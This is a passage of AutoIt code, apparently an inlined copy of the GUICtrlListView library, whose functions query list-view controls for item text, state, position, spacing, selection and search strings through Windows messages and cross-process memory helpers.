  5647.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  5648.             $arect[0] = _sendmessage($hwnd, $lvm_getinsertmarkrect, 0, $trect, 0, "wparam", "struct*") <> 0
  5649.         Else
  5650.             Local $irect = DllStructGetSize($trect)
  5651.             Local $tmemmap
  5652.             Local $pmemory = _meminit($hwnd, $irect, $tmemmap)
  5653.             $arect[0] = _sendmessage($hwnd, $lvm_getinsertmarkrect, 0, $pmemory, 0, "wparam", "ptr") <> 0
  5654.             _memread($tmemmap, $pmemory, $trect, $irect)
  5655.             _memfree($tmemmap)
  5656.         EndIf
  5657.     Else
  5658.         $arect[0] = GUICtrlSendMsg($hwnd, $lvm_getinsertmarkrect, 0, DllStructGetPtr($trect)) <> 0
  5659.     EndIf
  5660.     $arect[1] = DllStructGetData($trect, "Left")
  5661.     $arect[2] = DllStructGetData($trect, "Top")
  5662.     $arect[3] = DllStructGetData($trect, "Right")
  5663.     $arect[4] = DllStructGetData($trect, "Bottom")
  5664.     Return $arect
  5665. EndFunc
  5666.  
  5667. Func _guictrllistview_getisearchstring($hwnd)
  5668.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5669.     Local $funicode = _guictrllistview_getunicodeformat($hwnd)
  5670.     Local $ibuffer
  5671.     If IsHWnd($hwnd) Then
  5672.         If $funicode Then
  5673.             $ibuffer = _sendmessage($hwnd, $lvm_getisearchstringw) + 1
  5674.         Else
  5675.             $ibuffer = _sendmessage($hwnd, $lvm_getisearchstringa) + 1
  5676.         EndIf
  5677.     Else
  5678.         If $funicode Then
  5679.             $ibuffer = GUICtrlSendMsg($hwnd, $lvm_getisearchstringw, 0, 0) + 1
  5680.         Else
  5681.             $ibuffer = GUICtrlSendMsg($hwnd, $lvm_getisearchstringa, 0, 0) + 1
  5682.         EndIf
  5683.     EndIf
  5684.     If $ibuffer = 1 Then Return ""
  5685.     Local $tbuffer
  5686.     If $funicode Then
  5687.         $tbuffer = DllStructCreate("wchar Text[" & $ibuffer & "]")
  5688.         $ibuffer *= 2
  5689.     Else
  5690.         $tbuffer = DllStructCreate("char Text[" & $ibuffer & "]")
  5691.     EndIf
  5692.     If IsHWnd($hwnd) Then
  5693.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  5694.             _sendmessage($hwnd, $lvm_getisearchstringw, 0, $tbuffer, 0, "wparam", "struct*")
  5695.         Else
  5696.             Local $tmemmap
  5697.             Local $pmemory = _meminit($hwnd, $ibuffer, $tmemmap)
  5698.             If $funicode Then
  5699.                 _sendmessage($hwnd, $lvm_getisearchstringw, 0, $pmemory)
  5700.             Else
  5701.                 _sendmessage($hwnd, $lvm_getisearchstringa, 0, $pmemory)
  5702.             EndIf
  5703.             _memread($tmemmap, $pmemory, $tbuffer, $ibuffer)
  5704.             _memfree($tmemmap)
  5705.         EndIf
  5706.     Else
  5707.         Local $pbuffer = DllStructGetPtr($tbuffer)
  5708.         If $funicode Then
  5709.             GUICtrlSendMsg($hwnd, $lvm_getisearchstringw, 0, $pbuffer)
  5710.         Else
  5711.             GUICtrlSendMsg($hwnd, $lvm_getisearchstringa, 0, $pbuffer)
  5712.         EndIf
  5713.     EndIf
  5714.     Return DllStructGetData($tbuffer, "Text")
  5715. EndFunc
  5716.  
  5717. Func _guictrllistview_getitem($hwnd, $iindex, $isubitem = 0)
  5718.     Local $aitem[8]
  5719.     Local $titem = DllStructCreate($taglvitem)
  5720.     DllStructSetData($titem, "Mask", BitOR($lvif_groupid, $lvif_image, $lvif_indent, $lvif_param, $lvif_state))
  5721.     DllStructSetData($titem, "Item", $iindex)
  5722.     DllStructSetData($titem, "SubItem", $isubitem)
  5723.     DllStructSetData($titem, "StateMask", -1)
  5724.     _guictrllistview_getitemex($hwnd, $titem)
  5725.     Local $istate = DllStructGetData($titem, "State")
  5726.     If BitAND($istate, $lvis_cut) <> 0 Then $aitem[0] = BitOR($aitem[0], 1)
  5727.     If BitAND($istate, $lvis_drophilited) <> 0 Then $aitem[0] = BitOR($aitem[0], 2)
  5728.     If BitAND($istate, $lvis_focused) <> 0 Then $aitem[0] = BitOR($aitem[0], 4)
  5729.     If BitAND($istate, $lvis_selected) <> 0 Then $aitem[0] = BitOR($aitem[0], 8)
  5730.     $aitem[1] = __guictrllistview_overlayimagemasktoindex($istate)
  5731.     $aitem[2] = __guictrllistview_stateimagemasktoindex($istate)
  5732.     $aitem[3] = _guictrllistview_getitemtext($hwnd, $iindex, $isubitem)
  5733.     $aitem[4] = DllStructGetData($titem, "Image")
  5734.     $aitem[5] = DllStructGetData($titem, "Param")
  5735.     $aitem[6] = DllStructGetData($titem, "Indent")
  5736.     $aitem[7] = DllStructGetData($titem, "GroupID")
  5737.     Return $aitem
  5738. EndFunc
  5739.  
  5740. Func _guictrllistview_getitemchecked($hwnd, $iindex)
  5741.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5742.     Local $funicode = _guictrllistview_getunicodeformat($hwnd)
  5743.     Local $tlvitem = DllStructCreate($taglvitem)
  5744.     Local $isize = DllStructGetSize($tlvitem)
  5745.     If @error Then Return SetError($lv_err, $lv_err, False)
  5746.     DllStructSetData($tlvitem, "Mask", $lvif_state)
  5747.     DllStructSetData($tlvitem, "Item", $iindex)
  5748.     DllStructSetData($tlvitem, "StateMask", 65535)
  5749.     Local $iret
  5750.     If IsHWnd($hwnd) Then
  5751.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  5752.             $iret = _sendmessage($hwnd, $lvm_getitemw, 0, $tlvitem, 0, "wparam", "struct*") <> 0
  5753.         Else
  5754.             Local $tmemmap
  5755.             Local $pmemory = _meminit($hwnd, $isize, $tmemmap)
  5756.             _memwrite($tmemmap, $tlvitem)
  5757.             If $funicode Then
  5758.                 $iret = _sendmessage($hwnd, $lvm_getitemw, 0, $pmemory, 0, "wparam", "ptr") <> 0
  5759.             Else
  5760.                 $iret = _sendmessage($hwnd, $lvm_getitema, 0, $pmemory, 0, "wparam", "ptr") <> 0
  5761.             EndIf
  5762.             _memread($tmemmap, $pmemory, $tlvitem, $isize)
  5763.             _memfree($tmemmap)
  5764.         EndIf
  5765.     Else
  5766.         Local $pitem = DllStructGetPtr($tlvitem)
  5767.         If $funicode Then
  5768.             $iret = GUICtrlSendMsg($hwnd, $lvm_getitemw, 0, $pitem) <> 0
  5769.         Else
  5770.             $iret = GUICtrlSendMsg($hwnd, $lvm_getitema, 0, $pitem) <> 0
  5771.         EndIf
  5772.     EndIf
  5773.     If NOT $iret Then Return SetError($lv_err, $lv_err, False)
  5774.     Return BitAND(DllStructGetData($tlvitem, "State"), 8192) <> 0
  5775. EndFunc
  5776.  
  5777. Func _guictrllistview_getitemcount($hwnd)
  5778.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5779.     If IsHWnd($hwnd) Then
  5780.         Return _sendmessage($hwnd, $lvm_getitemcount)
  5781.     Else
  5782.         Return GUICtrlSendMsg($hwnd, $lvm_getitemcount, 0, 0)
  5783.     EndIf
  5784. EndFunc
  5785.  
  5786. Func _guictrllistview_getitemcut($hwnd, $iindex)
  5787.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5788.     Return _guictrllistview_getitemstate($hwnd, $iindex, $lvis_cut) <> 0
  5789. EndFunc
  5790.  
  5791. Func _guictrllistview_getitemdrophilited($hwnd, $iindex)
  5792.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5793.     Return _guictrllistview_getitemstate($hwnd, $iindex, $lvis_drophilited) <> 0
  5794. EndFunc
  5795.  
  5796. Func _guictrllistview_getitemex($hwnd, ByRef $titem)
  5797.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5798.     Local $funicode = _guictrllistview_getunicodeformat($hwnd)
  5799.     Local $iret
  5800.     If IsHWnd($hwnd) Then
  5801.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  5802.             $iret = _sendmessage($hwnd, $lvm_getitemw, 0, $titem, 0, "wparam", "struct*")
  5803.         Else
  5804.             Local $iitem = DllStructGetSize($titem)
  5805.             Local $tmemmap
  5806.             Local $pmemory = _meminit($hwnd, $iitem, $tmemmap)
  5807.             _memwrite($tmemmap, $titem)
  5808.             If $funicode Then
  5809.                 _sendmessage($hwnd, $lvm_getitemw, 0, $pmemory, 0, "wparam", "ptr")
  5810.             Else
  5811.                 _sendmessage($hwnd, $lvm_getitema, 0, $pmemory, 0, "wparam", "ptr")
  5812.             EndIf
  5813.             _memread($tmemmap, $pmemory, $titem, $iitem)
  5814.             _memfree($tmemmap)
  5815.         EndIf
  5816.     Else
  5817.         Local $pitem = DllStructGetPtr($titem)
  5818.         If $funicode Then
  5819.             $iret = GUICtrlSendMsg($hwnd, $lvm_getitemw, 0, $pitem)
  5820.         Else
  5821.             $iret = GUICtrlSendMsg($hwnd, $lvm_getitema, 0, $pitem)
  5822.         EndIf
  5823.     EndIf
  5824.     Return $iret <> 0
  5825. EndFunc
  5826.  
  5827. Func _guictrllistview_getitemfocused($hwnd, $iindex)
  5828.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5829.     Return _guictrllistview_getitemstate($hwnd, $iindex, $lvis_focused) <> 0
  5830. EndFunc
  5831.  
  5832. Func _guictrllistview_getitemgroupid($hwnd, $iindex)
  5833.     Local $titem = DllStructCreate($taglvitem)
  5834.     DllStructSetData($titem, "Mask", $lvif_groupid)
  5835.     DllStructSetData($titem, "Item", $iindex)
  5836.     _guictrllistview_getitemex($hwnd, $titem)
  5837.     Return DllStructGetData($titem, "GroupID")
  5838. EndFunc
  5839.  
  5840. Func _guictrllistview_getitemimage($hwnd, $iindex, $isubitem = 0)
  5841.     Local $titem = DllStructCreate($taglvitem)
  5842.     DllStructSetData($titem, "Mask", $lvif_image)
  5843.     DllStructSetData($titem, "Item", $iindex)
  5844.     DllStructSetData($titem, "SubItem", $isubitem)
  5845.     _guictrllistview_getitemex($hwnd, $titem)
  5846.     Return DllStructGetData($titem, "Image")
  5847. EndFunc
  5848.  
  5849. Func _guictrllistview_getitemindent($hwnd, $iindex)
  5850.     Local $titem = DllStructCreate($taglvitem)
  5851.     DllStructSetData($titem, "Mask", $lvif_indent)
  5852.     DllStructSetData($titem, "Item", $iindex)
  5853.     _guictrllistview_getitemex($hwnd, $titem)
  5854.     Return DllStructGetData($titem, "Indent")
  5855. EndFunc
  5856.  
  5857. Func __guictrllistview_getitemoverlayimage($hwnd, $iindex)
  5858.     Return BitShift(_guictrllistview_getitemstate($hwnd, $iindex, $lvis_overlaymask), 8)
  5859. EndFunc
  5860.  
  5861. Func _guictrllistview_getitemparam($hwnd, $iindex)
  5862.     Local $titem = DllStructCreate($taglvitem)
  5863.     DllStructSetData($titem, "Mask", $lvif_param)
  5864.     DllStructSetData($titem, "Item", $iindex)
  5865.     _guictrllistview_getitemex($hwnd, $titem)
  5866.     Return DllStructGetData($titem, "Param")
  5867. EndFunc
  5868.  
  5869. Func _guictrllistview_getitemposition($hwnd, $iindex)
  5870.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5871.     Local $apoint[2], $iret
  5872.     Local $tpoint = DllStructCreate($tagpoint)
  5873.     If IsHWnd($hwnd) Then
  5874.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  5875.             If NOT _sendmessage($hwnd, $lvm_getitemposition, $iindex, $tpoint, 0, "wparam", "struct*") Then Return $apoint
  5876.         Else
  5877.             Local $ipoint = DllStructGetSize($tpoint)
  5878.             Local $tmemmap
  5879.             Local $pmemory = _meminit($hwnd, $ipoint, $tmemmap)
  5880.             If NOT _sendmessage($hwnd, $lvm_getitemposition, $iindex, $pmemory, 0, "wparam", "ptr") Then Return $apoint
  5881.             _memread($tmemmap, $pmemory, $tpoint, $ipoint)
  5882.             _memfree($tmemmap)
  5883.         EndIf
  5884.     Else
  5885.         $iret = GUICtrlSendMsg($hwnd, $lvm_getitemposition, $iindex, DllStructGetPtr($tpoint))
  5886.         If NOT $iret Then Return $apoint
  5887.     EndIf
  5888.     $apoint[0] = DllStructGetData($tpoint, "X")
  5889.     $apoint[1] = DllStructGetData($tpoint, "Y")
  5890.     Return $apoint
  5891. EndFunc
  5892.  
  5893. Func _guictrllistview_getitempositionx($hwnd, $iindex)
  5894.     Local $apoint = _guictrllistview_getitemposition($hwnd, $iindex)
  5895.     Return $apoint[0]
  5896. EndFunc
  5897.  
  5898. Func _guictrllistview_getitempositiony($hwnd, $iindex)
  5899.     Local $apoint = _guictrllistview_getitemposition($hwnd, $iindex)
  5900.     Return $apoint[1]
  5901. EndFunc
  5902.  
  5903. Func _guictrllistview_getitemrect($hwnd, $iindex, $ipart = 3)
  5904.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5905.     Local $trect = _guictrllistview_getitemrectex($hwnd, $iindex, $ipart)
  5906.     Local $arect[4]
  5907.     $arect[0] = DllStructGetData($trect, "Left")
  5908.     $arect[1] = DllStructGetData($trect, "Top")
  5909.     $arect[2] = DllStructGetData($trect, "Right")
  5910.     $arect[3] = DllStructGetData($trect, "Bottom")
  5911.     Return $arect
  5912. EndFunc
  5913.  
  5914. Func _guictrllistview_getitemrectex($hwnd, $iindex, $ipart = 3)
  5915.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5916.     Local $trect = DllStructCreate($tagrect)
  5917.     DllStructSetData($trect, "Left", $ipart)
  5918.     If IsHWnd($hwnd) Then
  5919.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  5920.             _sendmessage($hwnd, $lvm_getitemrect, $iindex, $trect, 0, "wparam", "struct*")
  5921.         Else
  5922.             Local $irect = DllStructGetSize($trect)
  5923.             Local $tmemmap
  5924.             Local $pmemory = _meminit($hwnd, $irect, $tmemmap)
  5925.             _memwrite($tmemmap, $trect, $pmemory, $irect)
  5926.             _sendmessage($hwnd, $lvm_getitemrect, $iindex, $pmemory, 0, "wparam", "ptr")
  5927.             _memread($tmemmap, $pmemory, $trect, $irect)
  5928.             _memfree($tmemmap)
  5929.         EndIf
  5930.     Else
  5931.         GUICtrlSendMsg($hwnd, $lvm_getitemrect, $iindex, DllStructGetPtr($trect))
  5932.     EndIf
  5933.     Return $trect
  5934. EndFunc
  5935.  
  5936. Func _guictrllistview_getitemselected($hwnd, $iindex)
  5937.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5938.     Return _guictrllistview_getitemstate($hwnd, $iindex, $lvis_selected) <> 0
  5939. EndFunc
  5940.  
  5941. Func _guictrllistview_getitemspacing($hwnd, $fsmall = False)
  5942.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5943.     Local $ispace
  5944.     If IsHWnd($hwnd) Then
  5945.         $ispace = _sendmessage($hwnd, $lvm_getitemspacing, $fsmall)
  5946.     Else
  5947.         $ispace = GUICtrlSendMsg($hwnd, $lvm_getitemspacing, $fsmall, 0)
  5948.     EndIf
  5949.     Local $aspace[2]
  5950.     $aspace[0] = BitAND($ispace, 65535)
  5951.     $aspace[1] = BitShift($ispace, 16)
  5952.     Return $aspace
  5953. EndFunc
  5954.  
  5955. Func _guictrllistview_getitemspacingx($hwnd, $fsmall = False)
  5956.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5957.     If IsHWnd($hwnd) Then
  5958.         Return BitAND(_sendmessage($hwnd, $lvm_getitemspacing, $fsmall, 0), 65535)
  5959.     Else
  5960.         Return BitAND(GUICtrlSendMsg($hwnd, $lvm_getitemspacing, $fsmall, 0), 65535)
  5961.     EndIf
  5962. EndFunc
  5963.  
  5964. Func _guictrllistview_getitemspacingy($hwnd, $fsmall = False)
  5965.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5966.     If IsHWnd($hwnd) Then
  5967.         Return BitShift(_sendmessage($hwnd, $lvm_getitemspacing, $fsmall, 0), 16)
  5968.     Else
  5969.         Return BitShift(GUICtrlSendMsg($hwnd, $lvm_getitemspacing, $fsmall, 0), 16)
  5970.     EndIf
  5971. EndFunc
  5972.  
  5973. Func _guictrllistview_getitemstate($hwnd, $iindex, $imask)
  5974.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5975.     If IsHWnd($hwnd) Then
  5976.         Return _sendmessage($hwnd, $lvm_getitemstate, $iindex, $imask)
  5977.     Else
  5978.         Return GUICtrlSendMsg($hwnd, $lvm_getitemstate, $iindex, $imask)
  5979.     EndIf
  5980. EndFunc
  5981.  
  5982. Func _guictrllistview_getitemstateimage($hwnd, $iindex)
  5983.     Return BitShift(_guictrllistview_getitemstate($hwnd, $iindex, $lvis_stateimagemask), 12)
  5984. EndFunc
  5985.  
  5986. Func _guictrllistview_getitemtext($hwnd, $iindex, $isubitem = 0)
  5987.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5988.     Local $funicode = _guictrllistview_getunicodeformat($hwnd)
  5989.     Local $tbuffer
  5990.     If $funicode Then
  5991.         $tbuffer = DllStructCreate("wchar Text[4096]")
  5992.     Else
  5993.         $tbuffer = DllStructCreate("char Text[4096]")
  5994.     EndIf
  5995.     Local $pbuffer = DllStructGetPtr($tbuffer)
  5996.     Local $titem = DllStructCreate($taglvitem)
  5997.     DllStructSetData($titem, "SubItem", $isubitem)
  5998.     DllStructSetData($titem, "TextMax", 4096)
  5999.     If IsHWnd($hwnd) Then
  6000.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  6001.             DllStructSetData($titem, "Text", $pbuffer)
  6002.             _sendmessage($hwnd, $lvm_getitemtextw, $iindex, $titem, 0, "wparam", "struct*")
  6003.         Else
  6004.             Local $iitem = DllStructGetSize($titem)
  6005.             Local $tmemmap
  6006.             Local $pmemory = _meminit($hwnd, $iitem + 4096, $tmemmap)
  6007.             Local $ptext = $pmemory + $iitem
  6008.             DllStructSetData($titem, "Text", $ptext)
  6009.             _memwrite($tmemmap, $titem, $pmemory, $iitem)
  6010.             If $funicode Then
  6011.                 _sendmessage($hwnd, $lvm_getitemtextw, $iindex, $pmemory, 0, "wparam", "ptr")
  6012.             Else
  6013.                 _sendmessage($hwnd, $lvm_getitemtexta, $iindex, $pmemory, 0, "wparam", "ptr")
  6014.             EndIf
  6015.             _memread($tmemmap, $ptext, $tbuffer, 4096)
  6016.             _memfree($tmemmap)
  6017.         EndIf
  6018.     Else
  6019.         Local $pitem = DllStructGetPtr($titem)
  6020.         DllStructSetData($titem, "Text", $pbuffer)
  6021.         If $funicode Then
  6022.             GUICtrlSendMsg($hwnd, $lvm_getitemtextw, $iindex, $pitem)
  6023.         Else
  6024.             GUICtrlSendMsg($hwnd, $lvm_getitemtexta, $iindex, $pitem)
  6025.         EndIf
  6026.     EndIf
  6027.     Return DllStructGetData($tbuffer, "Text")
  6028. EndFunc
  6029.  
  6030. Func _guictrllistview_getitemtextarray($hwnd, $iitem = -1)
  6031.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6032.     Local $sitems = _guictrllistview_getitemtextstring($hwnd, $iitem)
  6033.     If $sitems = "" Then
  6034.         Local $vitems[1] = [0]
  6035.         Return SetError($lv_err, $lv_err, $vitems)
  6036.     EndIf
  6037.     Return StringSplit($sitems, Opt("GUIDataSeparatorChar"))
  6038. EndFunc
  6039.  
  6040. Func _guictrllistview_getitemtextstring($hwnd, $iitem = -1)
  6041.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6042.     Local $srow = "", $separatorchar = Opt("GUIDataSeparatorChar"), $iselected
  6043.     If $iitem = -1 Then
  6044.         $iselected = _guictrllistview_getnextitem($hwnd)
  6045.     Else
  6046.         $iselected = $iitem
  6047.     EndIf
  6048.     For $x = 0 To _guictrllistview_getcolumncount($hwnd) - 1
  6049.         $srow &= _guictrllistview_getitemtext($hwnd, $iselected, $x) & $separatorchar
  6050.     Next
  6051.     Return StringTrimRight($srow, 1)
  6052. EndFunc
  6053.  
  6054. Func _guictrllistview_getnextitem($hwnd, $istart = -1, $isearch = 0, $istate = 8)
  6055.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6056.     Local $asearch[5] = [$lvni_all, $lvni_above, $lvni_below, $lvni_toleft, $lvni_toright]
  6057.     Local $iflags = $asearch[$isearch]
  6058.     If BitAND($istate, 1) <> 0 Then $iflags = BitOR($iflags, $lvni_cut)
  6059.     If BitAND($istate, 2) <> 0 Then $iflags = BitOR($iflags, $lvni_drophilited)
  6060.     If BitAND($istate, 4) <> 0 Then $iflags = BitOR($iflags, $lvni_focused)
  6061.     If BitAND($istate, 8) <> 0 Then $iflags = BitOR($iflags, $lvni_selected)
  6062.     If IsHWnd($hwnd) Then
  6063.         Return _sendmessage($hwnd, $lvm_getnextitem, $istart, $iflags)
  6064.     Else
  6065.         Return GUICtrlSendMsg($hwnd, $lvm_getnextitem, $istart, $iflags)
  6066.     EndIf
  6067. EndFunc
  6068.  
  6069. Func _guictrllistview_getnumberofworkareas($hwnd)
  6070.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6071.     Local $tbuffer = DllStructCreate("int Data")
  6072.     If IsHWnd($hwnd) Then
  6073.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  6074.             _sendmessage($hwnd, $lvm_getnumberofworkareas, 0, $tbuffer, 0, "wparam", "struct*")
  6075.         Else
  6076.             Local $ibuffer = DllStructGetSize($tbuffer)
  6077.             Local $tmemmap
  6078.             Local $pmemory = _meminit($hwnd, $ibuffer, $tmemmap)
  6079.             _sendmessage($hwnd, $lvm_getnumberofworkareas, 0, $pmemory, 0, "wparam", "ptr")
  6080.             _memread($tmemmap, $pmemory, $tbuffer, $ibuffer)
  6081.             _memfree($tmemmap)
  6082.         EndIf
  6083.     Else
  6084.         GUICtrlSendMsg($hwnd, $lvm_getnumberofworkareas, 0, DllStructGetPtr($tbuffer))
  6085.     EndIf
  6086.     Return DllStructGetData($tbuffer, "Data")
  6087. EndFunc
  6088.  
  6089. Func _guictrllistview_getorigin($hwnd)
  6090.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6091.     Local $tpoint = DllStructCreate($tagpoint)
  6092.     Local $iret
  6093.     If IsHWnd($hwnd) Then
  6094.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  6095.             $iret = _sendmessage($hwnd, $lvm_getorigin, 0, $tpoint, 0, "wparam", "struct*")
  6096.         Else
  6097.             Local $ipoint = DllStructGetSize($tpoint)
  6098.             Local $tmemmap
  6099.             Local $pmemory = _meminit($hwnd, $ipoint, $tmemmap)
  6100.             $iret = _sendmessage($hwnd, $lvm_getorigin, 0, $pmemory, 0, "wparam", "ptr")
  6101.             _memread($tmemmap, $pmemory, $tpoint, $ipoint)
  6102.             _memfree($tmemmap)
  6103.         EndIf
  6104.     Else
  6105.         $iret = GUICtrlSendMsg($hwnd, $lvm_getorigin, 0, DllStructGetPtr($tpoint))
  6106.     EndIf
  6107.     Local $aorigin[2]
  6108.     $aorigin[0] = DllStructGetData($tpoint, "X")
  6109.     $aorigin[1] = DllStructGetData($tpoint, "Y")
  6110.     Return SetError(@error, $iret = 1, $aorigin)
  6111. EndFunc
  6112.  
  6113. Func _guictrllistview_getoriginx($hwnd)
  6114.     Local $aorigin = _guictrllistview_getorigin($hwnd)
  6115.     Return $aorigin[0]
  6116. EndFunc
  6117.  
  6118. Func _guictrllistview_getoriginy($hwnd)
  6119.     Local $aorigin = _guictrllistview_getorigin($hwnd)
  6120.     Return $aorigin[1]
  6121. EndFunc
  6122.  
  6123. Func _guictrllistview_getoutlinecolor($hwnd)
  6124.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6125.     If IsHWnd($hwnd) Then
  6126.         Return _sendmessage($hwnd, $lvm_getoutlinecolor)
  6127.     Else
  6128.         Return GUICtrlSendMsg($hwnd, $lvm_getoutlinecolor, 0, 0)
  6129.     EndIf
  6130. EndFunc
  6131.  
  6132. Func _guictrllistview_getselectedcolumn($hwnd)
  6133.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6134.     If IsHWnd($hwnd) Then
  6135.         Return _sendmessage($hwnd, $lvm_getselectedcolumn)
  6136.     Else
  6137.         Return GUICtrlSendMsg($hwnd, $lvm_getselectedcolumn, 0, 0)
  6138.     EndIf
  6139. EndFunc
  6140.  
  6141. Func _guictrllistview_getselectedcount($hwnd)
  6142.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6143.     If IsHWnd($hwnd) Then
  6144.         Return _sendmessage($hwnd, $lvm_getselectedcount)
  6145.     Else
  6146.         Return GUICtrlSendMsg($hwnd, $lvm_getselectedcount, 0, 0)
  6147.     EndIf
  6148. EndFunc
  6149.  
  6150. Func __guictrllistview_getcheckedindices($hwnd, $farray = False)
  6151.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6152.     Local $sindices, $aindices[1] = [0]
  6153.     Local $iret, $icount = _guictrllistview_getitemcount($hwnd)
  6154.     For $iitem = 0 To $icount - 1
  6155.         $iret = _guictrllistview_getitemchecked($hwnd, $iitem)
  6156.         If $iret Then
  6157.             If (NOT $farray) Then
  6158.                 If StringLen($sindices) Then
  6159.                     $sindices &= "|" & $iitem
  6160.                 Else
  6161.                     $sindices = $iitem
  6162.                 EndIf
  6163.             Else
  6164.                 ReDim $aindices[UBound($aindices) + 1]
  6165.                 $aindices[0] = UBound($aindices) - 1
  6166.                 $aindices[UBound($aindices) - 1] = $iitem
  6167.             EndIf
  6168.         EndIf
  6169.     Next
  6170.     If (NOT $farray) Then
  6171.         Return String($sindices)
  6172.     Else
  6173.         Return $aindices
  6174.     EndIf
  6175. EndFunc
  6176.  
  6177. Func _guictrllistview_getselectedindices($hwnd, $farray = False)
  6178.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6179.     Local $sindices, $aindices[1] = [0]
  6180.     Local $iret, $icount = _guictrllistview_getitemcount($hwnd)
  6181.     For $iitem = 0 To $icount
  6182.         If IsHWnd($hwnd) Then
  6183.             $iret = _sendmessage($hwnd, $lvm_getitemstate, $iitem, $lvis_selected)
  6184.         Else
  6185.             $iret = GUICtrlSendMsg($hwnd, $lvm_getitemstate, $iitem, $lvis_selected)
  6186.         EndIf
  6187.         If $iret Then
  6188.             If (NOT $farray) Then
  6189.                 If StringLen($sindices) Then
  6190.                     $sindices &= "|" & $iitem
  6191.                 Else
  6192.                     $sindices = $iitem
  6193.                 EndIf
  6194.             Else
  6195.                 ReDim $aindices[UBound($aindices) + 1]
  6196.                 $aindices[0] = UBound($aindices) - 1
  6197.                 $aindices[UBound($aindices) - 1] = $iitem
  6198.             EndIf
  6199.         EndIf
  6200.     Next
  6201.     If (NOT $farray) Then
  6202.         Return String($sindices)
  6203.     Else
  6204.         Return $aindices
  6205.     EndIf
  6206. EndFunc
  6207.  
  6208. Func _guictrllistview_getselectionmark($hwnd)
  6209.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6210.     If IsHWnd($hwnd) Then
  6211.         Return _sendmessage($hwnd, $lvm_getselectionmark)
  6212.     Else
  6213.         Return GUICtrlSendMsg($hwnd, $lvm_getselectionmark, 0, 0)
  6214.     EndIf
  6215. EndFunc
  6216.  
  6217. Func _guictrllistview_getstringwidth($hwnd, $sstring)
  6218.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6219.     Local $funicode = _guictrllistview_getunicodeformat($hwnd)
  6220.     Local $ibuffer = StringLen($sstring) + 1
  6221.     Local $tbuffer
  6222.     If $funicode Then
  6223.         $tbuffer = DllStructCreate("wchar Text[" & $ibuffer & "]")
  6224.         $ibuffer *= 2
  6225.     Else
  6226.         $tbuffer = DllStructCreate("char Text[" & $ibuffer & "]")
  6227.     EndIf
  6228.     DllStructSetData($tbuffer, "Text", $sstring)
  6229.     Local $iret
  6230.     If IsHWnd($hwnd) Then
  6231.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  6232.             $iret = _sendmessage($hwnd, $lvm_getstringwidthw, 0, $tbuffer, 0, "wparam", "struct*")
  6233.         Else
  6234.             Local $tmemmap
  6235.             Local $pmemory = _meminit($hwnd, $ibuffer, $tmemmap)
  6236.             _memwrite($tmemmap, $tbuffer, $pmemory, $ibuffer)
  6237.             If $funicode Then
  6238.                 $iret = _sendmessage($hwnd, $lvm_getstringwidthw, 0, $pmemory, 0, "wparam", "ptr")
  6239.             Else
  6240.                 $iret = _sendmessage($hwnd, $lvm_getstringwidtha, 0, $pmemory, 0, "wparam", "ptr")
  6241.             EndIf
  6242.             _memread($tmemmap, $pmemory, $tbuffer, $ibuffer)
  6243.             _memfree($tmemmap)
  6244.         EndIf
  6245.     Else
  6246.         Local $pbuffer = DllStructGetPtr($tbuffer)
  6247.         If $funicode Then
  6248.             $iret = GUICtrlSendMsg($hwnd, $lvm_getstringwidthw, 0, $pbuffer)
  6249.         Else
  6250.             $iret = GUICtrlSendMsg($hwnd, $lvm_getstringwidtha, 0, $pbuffer)
  6251.         EndIf
  6252.     EndIf
  6253.     Return $iret
  6254. EndFunc
  6255.  
  6256. Func _guictrllistview_getsubitemrect($hwnd, $iindex, $isubitem, $ipart = 0)
  6257.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6258.     Local $apart[2] = [$lvir_bounds, $lvir_icon]
  6259.     Local $trect = DllStructCreate($tagrect)
  6260.     DllStructSetData($trect, "Top", $isubitem)
  6261.     DllStructSetData($trect, "Left", $apart[$ipart])
